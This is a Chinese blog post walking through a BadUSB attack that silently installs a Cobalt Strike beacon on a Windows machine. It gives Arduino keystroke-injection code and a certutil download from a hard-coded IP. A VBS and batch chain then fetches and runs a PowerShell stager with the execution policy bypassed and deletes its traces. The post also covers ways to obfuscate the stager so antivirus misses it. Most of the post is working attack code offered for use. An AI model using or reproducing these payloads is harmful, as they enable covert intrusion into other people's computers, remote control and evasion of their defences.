返回顶部

Budusb后台静默上线Cobalt Strike与ps1的免杀

题记

       今天我终于把规划已久的技术完成了,badusb买了1个多月了,我的快乐值是与我的技术提升正相关的。技术流程就是WIN+R >> CMD打开POWERSHELL >> POWERSHELL远程执行CobaltStrike生成的PS1文件 >> 主机上线。哈哈哈哈哈哈,我就是个人才。这些天有关于美国系统被大规模入侵的新闻,真是强啊,黑客们。

       工具:cs4.2,base64编码网站,badusb,Arduino IDE,下载文件的网站。

       查免杀状况网站:https://www.virustotal.com/

前提知识(cmd远程下载文件):

       start powershell

       $client = new-object System.Net.WebClient

       $client.DownloadFile(' http://103.234.72.5/shellcode.exe',' E:\2.exe')

免杀方法一(把payload代码转码)

       1、cs生成ps1(选x64和不选生成的powershell代码不一样,选上有无变量,没选有变量)

       2、主要改[Byte[]]$var_code那一行

       3、把FromBase64String直接改成byte数组。

在powershell.exe里面执行以下命令就能生成数组了。

       $string = ''

       $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')

       $s |foreach { $string = $string + $_.ToString()+','}

       $string > c:\1.txt 或者$string 短的话直接查看即可。

       4、把[Byte[]]$var_code替换掉(这个方式免杀差一点,但是能免杀火绒)

免杀方法二(把核心字符串全部base64加密后解密输出)

       1、生成一个ps1木马。

       2、把中间核心的字符串全部base64编码。

       3、在base64编码后边写入还原语句就能绕过大部分杀软了。

       解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

       变量名记得后边也改掉。

       4、执行powershell -ExecutionPolicy bypass -File C:\\POWERSHELL.PS1机器上线。

免杀方法进阶(完美版)(base64加密后分段赋值后解密输出)

       接上面的免杀之后进阶版,把base64编码后的字符拆开然后在后面以变量和在一起。

       可以看到免杀效果是极好的。

Badusb实现后台静默执行上线CobaltStrike

       实现以VBS文件形式远程下载并执行CobaltStrike生成的PS1文件,来达到后台静默执行的目的。注:taskmgr.exe快速打开任务管理器,从此告别了ctrl+alt+.了

效果(点击下方空白地方跳转flash页面查看上线预览图,博客园不支持插入视频):

       1、首先用kali创建一个网站。把要利用的文件全放在网站根目录下,好让目标主机下载运行。

       apt-get install apache2

       /var/www/html

       service apache2 start

       2、badusb制作

       首先下载arduino IDE,这个软件属于微软,可以免费下载。

在工具里面选择:

       开发板选择:Arduino Leonardo

       端口选择:com5(Arduino Leonardo)

POWERSHELL.ino(arduino烧录文件)

#include <Keyboard.h>

void setup() {

// putpower shell your setup code here, to run once

Keyboard.begin();//开始键盘通讯

delay(1000);//延时

Keyboard.press(KEY_LEFT_GUI);//win键

delay(200);

Keyboard.press('r');//r键

delay(200);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release('r');

Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法

Keyboard.release(KEY_CAPS_LOCK);

delay(300);

Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://103.234.72.5/run.vbs d:\\run.vbs && timeout /t 1 && start /B d:\\run.vbs" ); //无回显

//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显

Keyboard.press(KEY_RETURN);

Keyboard.release(KEY_RETURN);

Keyboard.press(KEY_RETURN);

Keyboard.release(KEY_RETURN);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.end();//结束键盘通讯

}

void loop() {

// put your main code here, to run repeatedly:

 

}

       解释:WIN+R打开运行窗口,通过打开CMD下载RUN.VBS,落地到D盘根目录后CMD关闭,并静默执行RUN.VBS

点击对勾编译文件,右符号上传到badusb。

3、落地文件

      

 RUN.VBS

set ws=WScript.CreateObject("WScript.Shell")

ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0

 

解释:

       通过certutil命令远程下载POWERSHELL.BAT,落地到D盘根目录

       静默执行POWERSHELL.BAT

       

POWERSHELL.BAT

@echo off

certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1

TIMEOUT /T 1

start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1

del D:\R*.VBS /f /s /qTIMEOUT /T 1

del D:\P*.PS1 /f /s /qdel D:\P*.BAT /f /s /q

exit

 

解释:

       通过certutil命令下载POWERSHELL.PS1,落地到D盘根目录

       考虑网络问题,下载POWERSHELL.PS1需要时间(测试的时候出现了执行速度太快,导致没下载完就直接执行了下一步),所以延时一秒

       通过powershell后台静默执行POWERSHELL.PS1,至此CS上线

       上线后立即删除R开头VBS文件

       延时一秒(测试出现powershell执行速度太慢,没上线)

       依次删除P开头PS1文件、P开头BAT文件

       把这三个文件上传到网站,badusb一插入机器就上线了。

参考文章

       感谢大神们的文章,受益匪浅。

       Badusb上线:https://mp.weixin.qq.com/s/pH9hcKGQHIRMxU3uDN3JUw

       Ps1介绍与免杀:https://www.cnblogs.com/forforever/p/13882312.html

       https://www.freebuf.com/articles/system/227467.html

       https://mp.weixin.qq.com/s/T9lCDVO1dSiugGcMwL5prg

 

posted @ 2021-01-08 11:35  11阳光  阅读(1443)  评论(0编辑  收藏  举报